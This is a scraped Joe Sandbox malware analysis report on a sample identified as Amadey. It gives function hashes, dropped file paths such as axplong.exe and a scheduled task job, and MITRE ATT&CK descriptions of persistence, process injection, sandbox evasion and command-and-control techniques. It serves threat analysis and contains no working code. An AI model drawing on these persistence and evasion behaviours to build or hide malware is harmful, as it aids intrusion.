Source File: 0000000E.00000002.3244245257.0000000003200000.00000040.00000800.00020000.00000000.sdmp, Offset: 03200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3200000_neon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0eab80c1036b4a86b1c06e7d6e35743786758f222fd527dc9e1ec899f49df5
Instruction ID: 39863eb8ea78bdd23417b9a9b9bfd5c8e6fc66ab4b3a7a3ba6217aa6497cb8aa
Opcode Fuzzy Hash: 5e0eab80c1036b4a86b1c06e7d6e35743786758f222fd527dc9e1ec899f49df5
Instruction Fuzzy Hash: 08C02B3000320586DE202754B44C374B2A8A302317F4C1801900C0187047704480C399

Analysis Process: neon.exePID: 4816, Parent PID: 3996COMMON

Executed Functions

Function 010E094F Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

LR]q, xrefs: 010E0AA2

Memory Dump Source

Source File: 0000000F.00000002.3309269143.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10e0000_neon.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 0aa656936839cd9c464c70acd35a25b16106bb1644cc99e1480dfb6dc69da965
Instruction ID: f1c09891f5ff8c1e9ec059a93906bf12fc5f70bda07d5c7acdbbb5bccc29aef3
Opcode Fuzzy Hash: 0aa656936839cd9c464c70acd35a25b16106bb1644cc99e1480dfb6dc69da965
Instruction Fuzzy Hash: 9871AD74E01208CFDB58DFB9D994A9DBBB2BF89304F20846AE419AB354DB359942CF40

Function 010E0960 Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

LR]q, xrefs: 010E0AA2

Memory Dump Source

Source File: 0000000F.00000002.3309269143.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10e0000_neon.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 42403d4c255afb23d9db07dfccc7065f2fbb719c16cef050b03fefb10b2e97ba
Instruction ID: d06e7a0145f03da5765ab70f33bd391b088de4cdc2cd85ec0ee929b11b52c1f4
Opcode Fuzzy Hash: 42403d4c255afb23d9db07dfccc7065f2fbb719c16cef050b03fefb10b2e97ba
Instruction Fuzzy Hash: 83619E74E01218CFDB58DFB9D994A9DBBB2BF89304F20846AE419AB354DB359942CF40

Function 010E0680 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3309269143.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10e0000_neon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 722f12afff2827a4ad06bda41054700dc3c1af129c52c4b302383f2cc7c29363
Instruction ID: ac84202737727c2231ee63f83b3b23210576c3db577132d4f046aecdaa20e426
Opcode Fuzzy Hash: 722f12afff2827a4ad06bda41054700dc3c1af129c52c4b302383f2cc7c29363
Instruction Fuzzy Hash: CCE0C23000A3404FE3135A7068293F13FF0AB13308F8814EED8C6C60B7E3660844C796

Function 010E0868 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3309269143.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10e0000_neon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cdfc350fc9c483adb2a7296e86bc76a75fad52119f2f8333115d8b99ecd2fa3
Instruction ID: 5c68a06c0fb6e691db38a1dd044833c74790bb28acac284b228f2d95e19463f5
Opcode Fuzzy Hash: 3cdfc350fc9c483adb2a7296e86bc76a75fad52119f2f8333115d8b99ecd2fa3
Instruction Fuzzy Hash: 4A213670E052498FEB10DFAAD6187EDBBF6AB8A304F406069E099A3255DB794902CF54

Function 010E0848 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3309269143.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10e0000_neon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d78aacff50bc188c2308915343b985deaaecc879e8541c4548251c676099c7d
Instruction ID: 0a4093afaee3287f4567f7e74ea22de510a7a3ae480b74e5a11c1627a4aea55e
Opcode Fuzzy Hash: 1d78aacff50bc188c2308915343b985deaaecc879e8541c4548251c676099c7d
Instruction Fuzzy Hash: 43C02B300023044AE52026987A1C37076F8B30231DF84188461CC0101447A54440C3C9

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\neon.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\neon[1].exe

C:\Users\user\AppData\Local\Temp\1000356001\neon.exe

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

C:\Users\user\AppData\Local\Temp\neon.exe

C:\Users\user\AppData\Local\Temp\neon.txt

C:\Windows\Tasks\axplong.job

\Device\Null

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre